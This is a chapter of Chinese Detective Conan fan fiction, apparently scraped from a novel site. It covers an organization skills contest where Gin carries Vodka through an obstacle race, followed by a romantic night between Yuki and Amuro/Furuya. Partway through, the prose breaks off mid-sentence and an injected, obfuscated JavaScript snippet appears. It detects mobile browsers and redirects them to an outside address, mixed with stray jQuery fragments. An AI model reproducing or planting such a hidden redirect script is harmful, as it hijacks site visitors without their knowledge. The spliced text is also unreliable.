68.技能大赛

作品:《我在酒厂搞联谊

    黑衣组织第一届“迎圣诞·庆新年”全球代号成员技能大赛,在一片沉闷到令人昏昏欲睡的气氛中拉开了帷幕。


    朗姆一如既往没有出现,还是摄像头加电子音的老配方。只不过这一次,不知道是不是为了迎合圣诞气氛,他把电子音的音调调得异常甜美无害,难怪组织里会有“朗姆其实是女人”的传闻。


    这一次,他的语速也慢悠悠的,导致他那些关于“彰显组织实力”、“促进成员交流”、“优胜者将获得嘉奖”的套话,听起来就像催眠曲一样。


    于是,我毫不意外地开始犯困了。


    偷偷打了个哈欠后,我用手肘悄悄碰了碰站在旁边的安室透,用只有我们俩能听到的气音说:“诶,你说,宾加之前突然开始沉迷女装,该不会也是被朗姆这声音带偏了吧?以为高层流行这个?”


    安室透目视前方,一副认真听讲的模样:“别走神,由纪。马上就结束了。”


    果然,几秒钟后,朗姆那甜美的电子音说出了“预祝大赛圆满成功”的结束语。仓库里瞬间响起一片如释重负的、无比热情的掌声,其热烈程度堪比听到“本次活动到此结束”。


    伏特加甚至激动地多拍了好几下,我怀疑他和我一样,早就困得不行了。


    和我预想的完全一样,这种技能大赛,根本不可能诞生什么真正的趣味性。第一个项目是射击,气氛严肃得就像在出任务一样。


    真正的亮点,出现在第二个项目——负重奔袭的准备环节。


    当裁判详细说明了规则,特别是明确指出“需要其中一名搭档背负另一名搭档完成障碍跑”时,比赛现场陷入了一种奇异的寂静。


    我能感觉到,几乎所有人的目光,都在那一瞬间,有意无意地、齐刷刷地扫向了我和库拉索。


    没办法,方案是我们两个出的,欲看热闹,必承受灼热目光。


    等到安室透二话不说,背上我就跑,把我颠的七荤八素的时候,我隐隐约约感受到了身后来自伏特加的杀气。


    唉,我早就提醒过伏特加别和琴酒组队,谁让他不听呢?


    就在我们以惊人速度通过一个又一个障碍时,我抽空瞥了一眼隔壁赛道。


    然后,我看到了足以载入黑衣组织史册的一幕。


    琴酒是绝对不可能屈尊被伏特加背着的。因此,在琴酒那“敢背我,我就毙了你”的冰冷视线压迫下,可怜的伏特加只能战战兢兢地趴在了琴酒的背上。


    是的,琴酒,组织的Top Killer,此刻正背着身材魁梧、目测体重绝对不轻的伏特加,在障碍赛道上艰难奔跑。


    虽然速度明显不如安室透这边,姿势也因为这诡异的负重而显得有些僵硬,但琴酒居然真的在跑。


    他脸色铁青,嘴唇冷酷地抿成了一条线,银色的长发在跑动中扬起。如果忽略他背上那个巨大的、穿着黑西装戴着墨镜的包袱,画面甚至有种诡异的力量感。


    现场所有还没开始比赛,或者已经完成前一项正在围观的成员,甚至是正在场上比赛的选手们都不约而同地停下了手中的事,目光被牢牢吸引过去。


    一开始是死寂。


    随即,不知道是谁先发出了一声极低的惊呼。接着,四周的议论声嗡嗡响起。


    “琴酒他……真的背了……”


    “伏特加那体重……”


    “这体力……也太可怕了……”


    “重点是表情啊!琴酒居然还能保持面无表情!”


    当琴酒咬着牙,背着满脸通红、双手都不知道该往哪里放的伏特加,艰难却坚定地冲向负重奔袭环节的终点线时,所有围观的人们都开始鼓掌。


    一开始是零星的,带着难以置信和叹服的掌声,很快就连成一片,甚至有人吹起了口哨。


    这掌声不是为了庆祝他们完成比赛,纯粹是为了表达对琴酒惊人意志力和体力的崇高敬意——背着伏特加跑完障碍赛还能面不改色,这究竟是何等非人的体能和忍耐力啊!


    连安室透都看着那边鼓掌赞叹,然后凑到我耳边:“由纪,回头写活动报告的时候,记得用上‘可歌可泣’、‘感人肺腑’、‘值得讴歌’这类词来形容这对搭档的真挚情感。”


    我看着伏特加在到达终点后被毫不留情地扔了下来,滚到一旁后又手足无措地想给琴酒递水,结果被狠狠无视的场面,深以为然地点了点头。


    只可惜,由于在这一环节耗时过长,琴酒和伏特加组合的成绩大幅落后,彻底与冠军无缘。


    宾加毫不意外地抓住了这个机会夺下冠军,在之后的时间里对琴酒进行了不下十次的嘲讽,内容从“日本分部的王牌不过如此”到“伏特加该减肥了”,花样百出。


    伏特加气得墨镜都在抖,但碍于琴酒越来越恐怖的低温气场,只能憋着。


    无论如何,这场一波三折、惊心动魄的技能大赛,总算是有惊无险地落下了帷幕。


    真的是可喜可贺。


    ·


    活动结束后,按理说,我这个借调人员应该跟着伏特加他们一起,打包飞回日本了。


    但眼看着圣诞节近在咫尺,纽约街头已经弥漫起浓郁的节日气氛,我实在不想就这么错过。


    我找到正在收拾东西、同时小心翼翼躲避琴酒低气压漩涡的伏特加,提出了请假申请。


    “圣诞节?你想留在美国过?”


    “嗯!就几天!反正朗姆大人也没说让我立刻回去报道嘛……而且,安室透他也在,可以……呃,照顾我。”最后一句才是重点,但不知怎么被我说得格外心虚。


    伏特加似乎正被“如何让大哥心情好转”这个世纪难题困扰得焦头烂额,根本没心思细究我的理由。他大手一挥,非常爽快:“行吧行吧,准了!玩得开心点儿,记得回头补个书面请假单就行。哦对了,注意安全,别惹事。”


    “谢谢伏特加哥!”我如蒙大赦。


    搞定假期,我立刻跑回安室透身边,眼睛发亮地看着他:“所以,带我去你的安全屋吧!我不要再住这个铁笼子房间了!”


    其实我早就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064319|188759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想搬走了。但前几天,本着“组织的便宜不占白不占,反正报销”的抠门心理,我硬是拉着安室透在这个房间里住了好几天。


    天知道我每天早上一睁眼,就看到角落那个寒光闪闪的大铁笼,内心有多么的无语和崩溃。


    听了我的话,安室透却没有立刻答应。他环顾了一下这个房间,目光扫过那个铁笼,脸上竟然浮现出一丝遗憾。


    “今晚就走吗?”他摸了摸下巴,语气若有所思,“其实……房费已经付到明天中午了。现在退房,有点浪费。”


    我瞬间就读懂了他眼神里的潜台词,汗毛倒竖,连连后退好几步,直到后背抵住冰冷的墙壁,双手在胸前交叉比出大大的叉。


    “你该不会是想在离开前,体验一下那堆东西吧?!绝对不可能!想都别想!安室透我告诉你,你要是敢把手铐用在我身上,我……你……你今晚就睡大街上去!”


    我就知道!这个人骨子里就是Ero!


    之前装得那么道貌岸然,他分明就是蠢蠢欲动!


    可能是我如临大敌的模样太认真严肃,安室透看了我一会儿,终于忍不住大笑起来。


    那笑声带着显而易见的愉悦和恶作剧得逞般的狡黠。


    “你怎么怎么喜欢逗我啊!”我反应过来,哼了一声,狠狠地瞪了他一眼。


    安室透却突然一步步走近,直到将我困在他与墙壁之间,手臂撑在我耳侧。紫灰色的眼眸在昏暗的灯光下显得格外深邃,里面清晰地映出我慌乱又强装镇定的脸。


    “由纪,”他低声唤我,温热的气息拂过我的鼻尖,“我只是觉得,既然花了钱,总要物尽其用。而且……”


    他故意拖长了语调,目光意有所指地扫过房间各处。


    “而且什么?”我警惕地问,心跳不受控制地加快。


    他低下头,额头轻轻抵住我的额头,声音压得更低,带着磁性的沙哑:“而且,我的确很想试试看。”


    “你……你别过来……”我的抗议声在他落下的吻中,变得含糊不清,最终消散在彼此交缠的呼吸里。


    ·


    最后什么都没用,只是平常地度过了一夜。


    情到浓时,降谷零忍不住低下头,注视着身下人的模样。


    山口由纪的额发已经被汗水浸湿,凌乱地黏在脸颊上,嘴唇微微张合,却发不出完整的音节。


    空气中弥漫着情欲的气息,混合着她细微的呜咽声和喘息声,让他更加按耐不住自己的冲动。


    降谷零想,还好这世界上只有他能欣赏山口由纪的这幅模样。


    只有他能看到山口由纪在情动时,那双总是闪烁着各种情绪的眼睛,变得如此迷蒙而专注,只倒映出他一个人的身影。


    也只有他能听到,她那些平时伶牙俐齿的吐槽和嘀咕,最终化为细碎的、动听的呜咽,轻轻地、一声声地,敲在他心上。


    “由纪,我真的好爱你。”


    “唔……我也是啊。”降谷零听见她的呢喃,“安……Zero。”